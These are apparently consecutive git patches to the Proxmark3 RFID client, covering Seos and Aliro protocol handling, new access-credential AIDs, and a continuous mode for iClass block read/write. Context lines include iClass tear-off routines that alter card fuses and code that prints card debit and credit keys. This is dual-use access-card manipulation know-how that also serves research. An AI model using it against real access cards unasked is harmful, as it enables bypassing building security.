[PATCH 138/162] Seos: allow plaintext ADF on rebased flow --- client/src/cmdhfseos.c | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/client/src/cmdhfseos.c b/client/src/cmdhfseos.c index d93104fee..49f8665a8 100644 --- a/client/src/cmdhfseos.c +++ b/client/src/cmdhfseos.c @@ -789,6 +789,7 @@ static int select_df_decode(uint8_t *response, uint8_t response_length, int *ALG bool has_algorithm_info = false; bool has_cryptogram = false; bool has_mac = false; + bool plaintext_adf = (response_length > 4 && response[0] == 0xCD && response[1] == 0x02 && response[4] == 0x06); for (size_t i = 0; i + 1 < response_length;) { uint8_t tag = response[i]; @@ -826,14 +827,14 @@ static int select_df_decode(uint8_t *response, uint8_t response_length, int *ALG i += 2 + tag_len; } - if (has_algorithm_info == false || has_cryptogram == false || has_mac == false) { + if (has_algorithm_info == false || (plaintext_adf == false && (has_cryptogram == false || has_mac == false))) { if (has_algorithm_info == false) { PrintAndLogEx(ERR, "ADF response missing ALGORITHM_INFO tag (CD)"); } - if (has_cryptogram == false) { + if (plaintext_adf == false && has_cryptogram == false) { PrintAndLogEx(ERR, "ADF response missing CRYPTOGRAM tag (85)"); } - if (has_mac == false) { + if (plaintext_adf == false && has_mac == false) { PrintAndLogEx(ERR, "ADF response missing MAC tag (8E)"); } PrintAndLogEx(ERR, "Raw ADF response.................. %s", sprint_hex_inrow(response, response_length)); @@ -859,8 +860,6 @@ static int select_df_decode(uint8_t *response, uint8_t response_length, int *ALG } } - bool plaintext_adf = (response_length > 4 && response[0] == 0xCD && response[1] == 0x02 && response[4] == 0x06); - PrintAndLogEx(INFO, "--- " _CYAN_("Raw ADF Information") " ---------------------------"); if (algorithm_name1 != NULL) { PrintAndLogEx(SUCCESS, "algoIdCipher (Encryption)........ "_YELLOW_("%i (%s)"), ALGORITHM_INFO_value1_n, algorithm_name1); @@ -874,9 +873,11 @@ static int select_df_decode(uint8_t *response, uint8_t response_length, int *ALG PrintAndLogEx(ERR, "algoIdHash (MAC)............... %d (Unknown)", ALGORITHM_INFO_value2_n); } + if (plaintext_adf == false) { if (plaintext_adf == false) { PrintAndLogEx(SUCCESS, "CRYPTOGRAM Encrypted Data........ " _YELLOW_("%s"), sprint_hex_inrow(CRYPTOGRAM_encrypted_data, 64)); } + } // PrintAndLogEx(SUCCESS, "MAC.............................. " _YELLOW_("%s"), sprint_hex_inrow(MAC_value, 8)); return PM3_SUCCESS; From 7a8249ace2058faa95633d59af6f5f7637468fa4 Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Sat, 21 Mar 2026 17:42:36 +0200 Subject: [PATCH 139/162] Add basic implementation of EXCHANGE to 'hf aliro' to end sessions successfully --- client/src/cmdhfaliro.c | 160 ++++++++++++++++++++++++++++++++++------ 1 file changed, 136 insertions(+), 24 deletions(-) diff --git a/client/src/cmdhfaliro.c b/client/src/cmdhfaliro.c index a0abc69d0..b3a1c19d1 100644 --- a/client/src/cmdhfaliro.c +++ b/client/src/cmdhfaliro.c @@ -59,6 +59,8 @@ static const uint8_t ALIRO_SECURE_CHANNEL_DEVICE_MODE[] = {0, 0, 0, 0, 0, 0, 0, static const uint8_t ALIRO_NFC_INTERFACE_BYTE = 0x5E; static const uint8_t ALIRO_AUTH0_DEFAULT_POLICY = 0x01; static const uint8_t ALIRO_AUTH1_REQUEST_PUBLIC_KEY = 0x01; +static const uint8_t ALIRO_EXCHANGE_INS = 0xC9; +static const uint8_t ALIRO_READER_STATUS_STATE_UNSECURE[] = {0x01, 0x01}; // UNSECURE means "opened" static const char ALIRO_DEFAULT_STEP_UP_SCOPE[] = "matter1"; #define ALIRO_MAX_BUFFER 2048 @@ -172,6 +174,13 @@ typedef struct { aliro_derived_keys_t keys; } aliro_standard_result_t; +typedef struct { + const uint8_t (*sk_reader)[32]; + uint32_t reader_counter; + const uint8_t (*sk_device)[32]; + uint32_t device_counter; +} aliro_secure_channel_state_t; + typedef struct { aliro_select_info_t select_info; uint8_t protocol_version[2]; @@ -188,11 +197,19 @@ typedef struct { aliro_fast_result_t fast_result; aliro_auth1_response_t auth1_parsed; aliro_standard_result_t standard_result; + aliro_secure_channel_state_t expedited_secure_channel; + aliro_secure_channel_state_t step_up_secure_channel; } aliro_read_state_t; static int CmdHelp(const char *Cmd); static const char *aliro_cbor_type_name(CborType type); static bool aliro_cbor_print_scalar(const char *label, const CborValue *value); +static int aliro_secure_channel_encrypt_reader_payload(aliro_secure_channel_state_t *channel, + const uint8_t *plaintext, size_t plaintext_len, + uint8_t *ciphertext, size_t ciphertext_max, size_t *ciphertext_len); +static int aliro_secure_channel_decrypt_device_payload(aliro_secure_channel_state_t *channel, + const uint8_t *ciphertext, size_t ciphertext_len, + uint8_t *plaintext, size_t plaintext_max, size_t *plaintext_len); static const char *get_aliro_application_type_name(uint16_t type) { for (size_t i = 0; i < ARRAYLEN(aliro_application_type_map); ++i) { @@ -1609,6 +1626,10 @@ aliro_append_tlv(0x4D, state->reader_identifier, 32, auth0_data, sizeof(auth0_da PrintAndLogEx(INFO, " Fast BleSKReader.......... %s", sprint_hex_inrow(state->fast_result.keys.ble_sk_reader, 32)); PrintAndLogEx(INFO, " Fast BleSKDevice.......... %s", sprint_hex_inrow(state->fast_result.keys.ble_sk_device, 32)); PrintAndLogEx(INFO, " Fast URSK................. %s", sprint_hex_inrow(state->fast_result.keys.ursk, 32)); + state->expedited_secure_channel.sk_reader = &state->fast_result.keys.exchange_sk_reader; + state->expedited_secure_channel.reader_counter = 1; + state->expedited_secure_channel.sk_device = &state->fast_result.keys.exchange_sk_device; + state->expedited_secure_channel.device_counter = 1; if (flow == ALIRO_FLOW_FAST) { *fast_flow_complete = true; return PM3_SUCCESS; @@ -1665,6 +1686,15 @@ static int aliro_read_prepare_auth1_keys(aliro_read_state_t *state, state->standard_result.keys.kpersistent_present = false; memset(state->standard_result.keys.kpersistent, 0, sizeof(state->standard_result.keys.kpersistent)); + state->expedited_secure_channel.sk_reader = &state->standard_result.keys.exchange_sk_reader; + state->expedited_secure_channel.reader_counter = 1; + state->expedited_secure_channel.sk_device = &state->standard_result.keys.exchange_sk_device; + state->expedited_secure_channel.device_counter = 1; + state->step_up_secure_channel.sk_reader = &state->standard_result.keys.step_up_sk_reader; + state->step_up_secure_channel.reader_counter = 1; + state->step_up_secure_channel.sk_device = &state->standard_result.keys.step_up_sk_device; + state->step_up_secure_channel.device_counter = 1; + return PM3_SUCCESS; } @@ -1739,18 +1769,17 @@ aliro_append_tlv(0x9E, auth1_signature, 64, return PM3_ESOFT; } - uint8_t auth1_iv[12] = {0}; - aliro_build_secure_channel_iv(ALIRO_SECURE_CHANNEL_DEVICE_MODE, 1, auth1_iv); - uint8_t auth1_plain[ALIRO_MAX_BUFFER] = {0}; - res = aliro_aes_gcm_decrypt(state->standard_result.keys.exchange_sk_device, auth1_iv, sizeof(auth1_iv), - auth1_response_enc, auth1_response_enc_len, auth1_plain); + size_t auth1_plain_len = 0; + res = aliro_secure_channel_decrypt_device_payload(&state->expedited_secure_channel, + auth1_response_enc, auth1_response_enc_len, + auth1_plain, sizeof(auth1_plain), + &auth1_plain_len); if (res != PM3_SUCCESS) { PrintAndLogEx(ERR, "Failed to decrypt AUTH1 response"); return res; } - size_t auth1_plain_len = auth1_response_enc_len - 16; res = aliro_parse_auth1_plaintext(auth1_plain, auth1_plain_len, &state->auth1_parsed); if (res != PM3_SUCCESS) { return res; @@ -2010,29 +2039,29 @@ static void aliro_print_step_up_scopes(const aliro_step_up_scopes_t *scopes) { PrintAndLogEx(INFO, "Step-up scopes............ %s", joined); } -static int aliro_secure_channel_encrypt_reader_payload(const uint8_t sk_reader[32], uint32_t *reader_counter, +static int aliro_secure_channel_encrypt_reader_payload(aliro_secure_channel_state_t *channel, const uint8_t *plaintext, size_t plaintext_len, uint8_t *ciphertext, size_t ciphertext_max, size_t *ciphertext_len) { - if (sk_reader == NULL || reader_counter == NULL || plaintext == NULL || + if (channel == NULL || channel->sk_reader == NULL || plaintext == NULL || ciphertext == NULL || ciphertext_len == NULL) { return PM3_EINVARG; } uint8_t iv[12] = {0}; - aliro_build_secure_channel_iv(ALIRO_SECURE_CHANNEL_READER_MODE, *reader_counter, iv); - int res = aliro_aes_gcm_encrypt(sk_reader, iv, sizeof(iv), + aliro_build_secure_channel_iv(ALIRO_SECURE_CHANNEL_READER_MODE, channel->reader_counter, iv); + int res = aliro_aes_gcm_encrypt(*channel->sk_reader, iv, sizeof(iv), plaintext, plaintext_len, ciphertext, ciphertext_max, ciphertext_len); if (res == PM3_SUCCESS) { - (*reader_counter)++; + channel->reader_counter++; } return res; } -static int aliro_secure_channel_decrypt_device_payload(const uint8_t sk_device[32], uint32_t *device_counter, +static int aliro_secure_channel_decrypt_device_payload(aliro_secure_channel_state_t *channel, const uint8_t *ciphertext, size_t ciphertext_len, uint8_t *plaintext, size_t plaintext_max, size_t *plaintext_len) { - if (sk_device == NULL || device_counter == NULL || ciphertext == NULL || + if (channel == NULL || channel->sk_device == NULL || ciphertext == NULL || plaintext == NULL || plaintext_len == NULL) { return PM3_EINVARG; } @@ -2041,15 +2070,84 @@ static int aliro_secure_channel_decrypt_device_payload(const uint8_t sk_device[3 } uint8_t iv[12] = {0}; - aliro_build_secure_channel_iv(ALIRO_SECURE_CHANNEL_DEVICE_MODE, *device_counter, iv); - int res = aliro_aes_gcm_decrypt(sk_device, iv, sizeof(iv), ciphertext, ciphertext_len, plaintext); + aliro_build_secure_channel_iv(ALIRO_SECURE_CHANNEL_DEVICE_MODE, channel->device_counter, iv); + int res = aliro_aes_gcm_decrypt(*channel->sk_device, iv, sizeof(iv), ciphertext, ciphertext_len, plaintext); if (res == PM3_SUCCESS) { - (*device_counter)++; + channel->device_counter++; *plaintext_len = ciphertext_len - 16; } return res; } +static int aliro_send_reader_status_exchange(aliro_secure_channel_state_t *channel, + const uint8_t reader_status[2]) { + if (channel == NULL || channel->sk_reader == NULL || + channel->sk_device == NULL || reader_status == NULL) { + return PM3_EINVARG; + } + PrintAndLogEx(INFO, ""); + PrintAndLogInfoHeader("EXCHANGE"); + + uint8_t status_plaintext[8] = {0}; + size_t status_plaintext_len = 0; + int res = aliro_append_tlv(0x97, reader_status, 2, + status_plaintext, sizeof(status_plaintext), &status_plaintext_len); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to encode EXCHANGE reader status payload"); + return res; + } + + uint8_t status_ciphertext[ALIRO_MAX_BUFFER] = {0}; + size_t status_ciphertext_len = 0; + res = aliro_secure_channel_encrypt_reader_payload(channel, + status_plaintext, status_plaintext_len, + status_ciphertext, sizeof(status_ciphertext), + &status_ciphertext_len); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to encrypt EXCHANGE reader status payload"); + return res; + } + + uint8_t exchange_response[ALIRO_MAX_BUFFER] = {0}; + size_t exchange_response_len = 0; + uint16_t exchange_sw = 0; + res = aliro_exchange_chained(false, true, 0x80, ALIRO_EXCHANGE_INS, 0x00, 0x00, + status_ciphertext, status_ciphertext_len, + exchange_response, sizeof(exchange_response), + &exchange_response_len, &exchange_sw); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Reader status EXCHANGE APDU exchange failed"); + return res; + } + + if (exchange_sw != ISO7816_OK) { + PrintAndLogEx(ERR, "Reader status EXCHANGE failed: %04x - %s", + exchange_sw, GetAPDUCodeDescription(exchange_sw >> 8, exchange_sw & 0xff)); + return PM3_ESOFT; + } + PrintAndLogEx(INFO, "Reader status EXCHANGE.... %04x", exchange_sw); + if (exchange_response_len == 0) { + return PM3_SUCCESS; + } + + uint8_t response_plaintext[ALIRO_MAX_BUFFER] = {0}; + size_t response_plaintext_len = 0; + res = aliro_secure_channel_decrypt_device_payload(channel, + exchange_response, exchange_response_len, + response_plaintext, sizeof(response_plaintext), + &response_plaintext_len); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to decrypt reader status EXCHANGE response"); + return res; + } + if (response_plaintext_len > 0) { + PrintAndLogEx(INFO, "Reader status response.... %s", + sprint_hex_inrow(response_plaintext, response_plaintext_len)); + } + + return PM3_SUCCESS; +} + static bool aliro_cbor_key_equals(const CborValue *key, int int_key, const char *text_key) { if (key == NULL) { return false; @@ -3243,11 +3341,15 @@ static int aliro_step_up_print_device_response(const uint8_t *device_response, s return PM3_SUCCESS; } -static int aliro_read_do_step_up(const aliro_read_state_t *state, +static int aliro_read_do_step_up(aliro_read_state_t *state, const aliro_step_up_scopes_t *step_up_scopes) { - if (state == NULL || step_up_scopes == NULL) { + if (state == NULL || step_up_scopes == NULL || + state->step_up_secure_channel.sk_reader == NULL || + state->step_up_secure_channel.sk_device == NULL) { return PM3_EINVARG; } + aliro_secure_channel_state_t *step_up_channel = &state->step_up_secure_channel; + if (!state->standard_result.keys.step_up_keys_present) { PrintAndLogEx(ERR, "Step-up keys are not available"); return PM3_ESOFT; @@ -3314,12 +3416,9 @@ static int aliro_read_do_step_up(const aliro_read_state_t *state, } PrintAndLogEx(INFO, "DeviceRequest CBOR........ %s", sprint_hex_inrow(device_request, device_request_len)); - uint32_t step_up_reader_counter = 1; - uint32_t step_up_device_counter = 1; uint8_t encrypted_device_request[ALIRO_MAX_BUFFER] = {0}; size_t encrypted_device_request_len = 0; - res = aliro_secure_channel_encrypt_reader_payload(state->standard_result.keys.step_up_sk_reader, - &step_up_reader_counter, + res = aliro_secure_channel_encrypt_reader_payload(step_up_channel, device_request, device_request_len, encrypted_device_request, sizeof(encrypted_device_request), &encrypted_device_request_len); @@ -3386,8 +3485,7 @@ static int aliro_read_do_step_up(const aliro_read_state_t *state, uint8_t device_response_plaintext[ALIRO_MAX_BUFFER] = {0}; size_t device_response_plaintext_len = 0; - res = aliro_secure_channel_decrypt_device_payload(state->standard_result.keys.step_up_sk_device, - &step_up_device_counter, + res = aliro_secure_channel_decrypt_device_payload(step_up_channel, encrypted_device_response, encrypted_device_response_len, device_response_plaintext, sizeof(device_response_plaintext), &device_response_plaintext_len); @@ -3450,6 +3548,11 @@ static int aliro_read_auth_flow(const uint8_t *kpersistent, size_t kpersistent_l break; } if (fast_flow_complete) { + res = aliro_send_reader_status_exchange(&state.expedited_secure_channel, + ALIRO_READER_STATUS_STATE_UNSECURE); + if (res != PM3_SUCCESS) { + PrintAndLogEx(WARNING, "Completion EXCHANGE failed after fast auth; continuing"); + } status = PM3_SUCCESS; break; } @@ -3478,6 +3581,15 @@ static int aliro_read_auth_flow(const uint8_t *kpersistent, size_t kpersistent_l break; } } + aliro_secure_channel_state_t *completion_channel = (flow == ALIRO_FLOW_STEP_UP) + ? &state.step_up_secure_channel + : &state.expedited_secure_channel; + const char *completion_flow_name = (flow == ALIRO_FLOW_STEP_UP) ? "step-up" : "expedited"; + res = aliro_send_reader_status_exchange(completion_channel, + ALIRO_READER_STATUS_STATE_UNSECURE); + if (res != PM3_SUCCESS) { + PrintAndLogEx(WARNING, "Completion EXCHANGE failed after %s auth; continuing", completion_flow_name); + } status = PM3_SUCCESS; } while (0); From 1f847e803a9c34c74f3cfb6154ba295cd96f9980 Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Sun, 22 Mar 2026 20:47:32 +0200 Subject: [PATCH 140/162] Add more AID values to 'aidlist.json' --- client/resources/aidlist.json | 26 +++++++++++++++++++++++++- 1 file changed, 25 insertions(+), 1 deletion(-) diff --git a/client/resources/aidlist.json b/client/resources/aidlist.json index 5e4a6bcef..519557ed0 100644 --- a/client/resources/aidlist.json +++ b/client/resources/aidlist.json @@ -2447,12 +2447,20 @@ "Description": "Used by both by physical cards and mobile implementations", "Type": "access" }, + { + "AID": "A0000004400001010001000002", + "Vendor": "HID Global", + "Country": "", + "Name": "SEOS Mobile", + "Description": "Declared by some SEOS-compatible HID partner applications for HCE", + "Type": "access" + }, { "AID": "A00000054000060100010000FF", "Vendor": "HID Global", "Country": "", "Name": "SEOS Mobile", - "Description": "Declared by some SEOS-compatible applications for HCE", + "Description": "Declared by some SEOS-compatible HID partner applications for HCE", "Type": "access" }, { @@ -2502,5 +2510,21 @@ "Name": "Crescendo OATH #2", "Description": "HID Crescendo Key OATH instance 2", "Type": "access" + }, + { + "AID": "FF55494420414343455353", + "Vendor": "UniFi", + "Country": "", + "Name": "UniFi Access HCE Credential", + "Description": "Declared as 'other' service", + "Type": "access" + }, + { + "AID": "FF55494420414343455356", + "Vendor": "UniFi", + "Country": "", + "Name": "UniFi Access HCE Credential", + "Description": "Declared as 'payment' service", + "Type": "access" } ] From d804cfdbba6c3ebd01701842cf2f84bf63c63d11 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 23 Mar 2026 09:39:52 +0700 Subject: [PATCH 141/162] text --- client/src/cmdlf.c | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/client/src/cmdlf.c b/client/src/cmdlf.c index 5b42c407b..09fd88b5a 100644 --- a/client/src/cmdlf.c +++ b/client/src/cmdlf.c @@ -1572,6 +1572,8 @@ static bool check_chiptype(bool getDeviceData) { saveState_db.clock = g_DemodClock; saveState_db.offset = g_DemodStartIdx; + PrintAndLogEx(INFO, "Searching for auth LF and special cases..."); + // check for em4x05/em4x69 chips first uint32_t word = 0; if (IfPm3EM4x50() && em4x05_isblock0(&word)) { @@ -1786,14 +1788,19 @@ int CmdLFfind(const char *Cmd) { } PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(FAILED, _RED_("No data found!")); // identify chipset - if (check_chiptype(is_online) == false) { + bool lf_special_search = check_chiptype(is_online); + if ( lf_special_search ) { + found++; + } else { PrintAndLogEx(DEBUG, "Automatic chip type detection " _RED_("failed")); } - PrintAndLogEx(HINT, "Hint: Maybe not an LF tag?"); + if ( found == 0) { + PrintAndLogEx(HINT, "Hint: try `" _YELLOW_("hf search") "` - since tag might not be LF"); + } + PrintAndLogEx(NORMAL, ""); if (search_cont == 0) { return PM3_ESOFT; From 5c6f4d5de60d5336f7e06ffd259963629b651fba Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 23 Mar 2026 11:41:05 +0700 Subject: [PATCH 142/162] change `hf iclass wrbl` and `hf iclass rdbl` to accept the continous mode, this enables us to see tears better --- client/src/cmdhficlass.c | 100 +++++++++++++++++++++++++++------------ 1 file changed, 69 insertions(+), 31 deletions(-) diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index 8d86d455d..ab02ea3de 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -2473,6 +2473,7 @@ static int CmdHFiClass_WriteBlock(const char *Cmd) { arg_lit0(NULL, "nr", "replay of NR/MAC block write or use privilege escalation if mac is empty"), arg_lit0("v", "verbose", "verbose output"), arg_lit0(NULL, "shallow", "use shallow (ASK) reader modulation instead of OOK"), + arg_lit0("@", NULL, "optional - continuous mode"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); @@ -2542,6 +2543,7 @@ static int CmdHFiClass_WriteBlock(const char *Cmd) { bool use_replay = arg_get_lit(ctx, 9); bool verbose = arg_get_lit(ctx, 10); bool shallow_mod = arg_get_lit(ctx, 11); + bool cm = arg_get_lit(ctx, 12); CLIParserFree(ctx); @@ -2550,19 +2552,31 @@ static int CmdHFiClass_WriteBlock(const char *Cmd) { return PM3_EINVARG; } - int isok = iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, verbose, auth, shallow_mod); - switch (isok) { - case PM3_SUCCESS: - PrintAndLogEx(SUCCESS, "Wrote block " _YELLOW_("%d") " / " _YELLOW_("0x%02X") " ( " _GREEN_("ok") " )", blockno, blockno); - break; - case PM3_ETEAROFF: - if (verbose) - PrintAndLogEx(INFO, "Writing tear off triggered"); - break; - default: - PrintAndLogEx(FAILED, "Writing failed"); - break; + if (cm) { + PrintAndLogEx(INFO, "Press " _GREEN_("") " to exit"); } + + int isok = 0; + do { + isok = iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, verbose, auth, shallow_mod); + switch (isok) { + case PM3_SUCCESS: { + PrintAndLogEx(SUCCESS, "Wrote block " _YELLOW_("%d") " / " _YELLOW_("0x%02X") " ( " _GREEN_("ok") " )", blockno, blockno); + break; + } + case PM3_ETEAROFF: { + if (verbose) { + PrintAndLogEx(INFO, "Writing tear off triggered"); + } + break; + } + default: { + PrintAndLogEx(FAILED, "Writing failed"); + break; + } + } + } while (cm && (kbd_enter_pressed() == false)); + PrintAndLogEx(NORMAL, ""); return isok; } @@ -2873,7 +2887,7 @@ static int CmdHFiClassRestore(const char *Cmd) { } static int iclass_read_block_ex(uint8_t *KEY, uint8_t blockno, uint8_t keyType, bool elite, bool rawkey, bool replay, bool verbose, - bool auth, bool shallow_mod, uint8_t *out, bool print) { + bool auth, bool shallow_mod, uint8_t *out, bool print, bool loop) { iclass_auth_req_t payload = { .use_raw = rawkey, @@ -2910,9 +2924,14 @@ static int iclass_read_block_ex(uint8_t *KEY, uint8_t blockno, uint8_t keyType, } if (print) { - PrintAndLogEx(NORMAL, ""); + + if (loop == false) { + PrintAndLogEx(NORMAL, ""); + } PrintAndLogEx(SUCCESS, " block %3d/0x%02X : " _GREEN_("%s"), blockno, blockno, sprint_hex(packet->data, sizeof(packet->data))); - PrintAndLogEx(NORMAL, ""); + if (loop == false) { + PrintAndLogEx(NORMAL, ""); + } } if (out) { @@ -2923,8 +2942,8 @@ static int iclass_read_block_ex(uint8_t *KEY, uint8_t blockno, uint8_t keyType, } static int iclass_read_block(uint8_t *KEY, uint8_t blockno, uint8_t keyType, bool elite, bool rawkey, bool replay, bool verbose, - bool auth, bool shallow_mod, uint8_t *out) { - return iclass_read_block_ex(KEY, blockno, keyType, elite, rawkey, replay, verbose, auth, shallow_mod, out, true); + bool auth, bool shallow_mod, uint8_t *out, bool loop) { + return iclass_read_block_ex(KEY, blockno, keyType, elite, rawkey, replay, verbose, auth, shallow_mod, out, true, loop); } static int CmdHFiClass_ReadBlock(const char *Cmd) { @@ -2946,6 +2965,7 @@ static int CmdHFiClass_ReadBlock(const char *Cmd) { arg_lit0(NULL, "nr", "replay of NR/MAC"), arg_lit0("v", "verbose", "verbose output"), arg_lit0(NULL, "shallow", "use shallow (ASK) reader modulation instead of OOK"), + arg_lit0("@", NULL, "optional - continuous mode"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); @@ -2997,6 +3017,7 @@ static int CmdHFiClass_ReadBlock(const char *Cmd) { bool use_replay = arg_get_lit(ctx, 7); bool verbose = arg_get_lit(ctx, 8); bool shallow_mod = arg_get_lit(ctx, 9); + bool cm = arg_get_lit(ctx, 10); CLIParserFree(ctx); @@ -3015,10 +3036,23 @@ static int CmdHFiClass_ReadBlock(const char *Cmd) { } + int res = 0; uint8_t data[8] = {0}; - int res = iclass_read_block(key, blockno, keyType, elite, rawkey, use_replay, verbose, auth, shallow_mod, data); - if (res != PM3_SUCCESS) - return res; + + if (cm) { + PrintAndLogEx(INFO, "Press " _GREEN_("") " to exit"); + } + + do { + memset(data, 0, sizeof(data)); + + res = iclass_read_block(key, blockno, keyType, elite, rawkey, use_replay, verbose, auth, shallow_mod, data, cm); + if (!cm && res != PM3_SUCCESS) { + return res; + } + + } while (cm && (kbd_enter_pressed() == false)); + if (blockno < 6 || blockno > 7) return PM3_SUCCESS; @@ -3380,7 +3414,7 @@ static int CmdHFiClass_TearBlock(const char *Cmd) { read_auth = false; } - int res_orig = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read_orig, false); + int res_orig = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read_orig, false, false); while (reread) { if (res_orig == PM3_SUCCESS && !reread) { if (memcmp(data_read_orig, zeros, 8) == 0) { @@ -3534,7 +3568,7 @@ static int CmdHFiClass_TearBlock(const char *Cmd) { read_auth = false; } - res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read, false); + res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read, false, false); if (res == PM3_SUCCESS && !reread) { if (memcmp(data_read, zeros, 8) == 0) { reread = true; @@ -3719,11 +3753,11 @@ static void iclass_read_interesting_data(uint8_t *key, uint8_t keyType, bool eli bool auth = false; uint8_t blockno = 3; uint8_t kd_read[8] = {0}; - iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, auth, shallow_mod, kd_read, false); + iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, auth, shallow_mod, kd_read, false, false); blockno = 4; uint8_t kc_read[8] = {0}; - iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, auth, shallow_mod, kc_read, false); + iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, auth, shallow_mod, kc_read, false, false); PrintAndLogEx(SUCCESS, "Raw Debit Key.............. " _YELLOW_("%s"), sprint_hex_inrow(kd_read, sizeof(kd_read))); PrintAndLogEx(SUCCESS, "Raw Credit Key............. " _YELLOW_("%s"), sprint_hex_inrow(kc_read, sizeof(kc_read))); @@ -3931,7 +3965,7 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { int blockno = 1; - int res_orig = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read_orig, false); + int res_orig = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read_orig, false, false); while (reread) { if (res_orig == PM3_SUCCESS && !reread) { if (memcmp(data_read_orig, zeros, 8) == 0) { @@ -4032,7 +4066,7 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { // skip authentication for config block read_auth = false; - res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read, false); + res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read, false, false); if (res == PM3_SUCCESS && !reread) { if (memcmp(data_read, zeros, 8) == 0) { reread = true; @@ -4212,7 +4246,7 @@ out: read_auth = false; uint8_t data_read[8]= {0}; - int res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read, false); + int res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read, false, false); if (res != PM3_SUCCESS) { return res; } @@ -4220,7 +4254,7 @@ out: uint8_t b7 = data_read[7]; if ( b7 == TEAR_INITAL) { - PrintAndLogEx(INFO, _YELLOW_("Fuses unchanged. Try again if the OTP is unchanged")); + PrintAndLogEx(INFO, _YELLOW_("Fuses unchanged. Try again if the OTP is unchanged")); // check for OTP change? } else if (TEAR_IS_NONSECURE_SET(b7)) { // don't do anything as this is ok @@ -7015,9 +7049,9 @@ int info_iclass(bool shallow_mod) { PrintAndLogEx(SUCCESS, " Card type.... " _GREEN_("%s"), card_types[cardtype]); if (memcmp(hdr->csn + 4, "\xFE\xFF\x12\xE0", 4) == 0) { - PrintAndLogEx(SUCCESS, " Card chip.... "_YELLOW_("NEW Silicon (No 14b support)")); + PrintAndLogEx(SUCCESS, " Card chip.... " _YELLOW_("New silicon (No 14b support)")); } else { - PrintAndLogEx(SUCCESS, " Card chip.... "_YELLOW_("Old Silicon (14b support)")); + PrintAndLogEx(SUCCESS, " Card chip.... " _YELLOW_("Old silicon (14b support)")); } if (legacy) { @@ -7053,8 +7087,10 @@ int info_iclass(bool shallow_mod) { } if (found_aa1) { - res = iclass_read_block_ex(key, 7, ICLASS_DEBIT_KEYTYPE, false, false, false, false, true, false, dump + (PICOPASS_BLOCK_SIZE * 7), false); + + res = iclass_read_block_ex(iClass_Key_Table[aa1_idx], 7, ICLASS_DEBIT_KEYTYPE, false, false, false, false, true, false, dump + (PICOPASS_BLOCK_SIZE * 7), false, false); if (res == PM3_SUCCESS) { + PrintAndLogEx(INFO, ""); BLOCK79ENCRYPTION aa1_encryption = (dump[(6 * PICOPASS_BLOCK_SIZE) + 7] & 0x03); @@ -7065,6 +7101,8 @@ int info_iclass(bool shallow_mod) { iclass_load_transport(transport, sizeof(transport)); iclass_decrypt_transport(transport, 8, dump, decrypted, aa1_encryption); iclass_decode_credentials(decrypted); + + return PM3_SUCCESS; } } } From 79df9c024519a4efe83ce227c4e3a08ab36c60ac Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 23 Mar 2026 11:42:01 +0700 Subject: [PATCH 143/162] fix `hf iclass info` - the block 7 reader failed because logic when detecting AA1 key --- client/src/cmdhficlass.c | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index ab02ea3de..7819ee79d 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -1544,7 +1544,7 @@ static void iclass_decode_credentials(uint8_t *data) { binlen = corrected_len; } - PrintAndLogEx(SUCCESS, "Binary... " _GREEN_("%s") " ( %zu )", pbin, binlen); + PrintAndLogEx(SUCCESS, "Bin... " _GREEN_("%s") " ( %zu )", pbin, binlen); PrintAndLogEx(NORMAL, ""); // Use the corrected length (without sentinel) for decoding decode_wiegand(top, mid, bot, (int)binlen); @@ -7062,20 +7062,23 @@ int info_iclass(bool shallow_mod) { bool found_aa1 = false; bool found_aa2 = false; - uint8_t key[8] = {0}; + uint8_t aa1_idx = 0; + uint8_t key[PICOPASS_KEY_SIZE] = {0}; + for (uint8_t i = 0; i < ARRAYLEN(iClass_Key_Table); i++) { memcpy(key, iClass_Key_Table[i], sizeof(key)); if 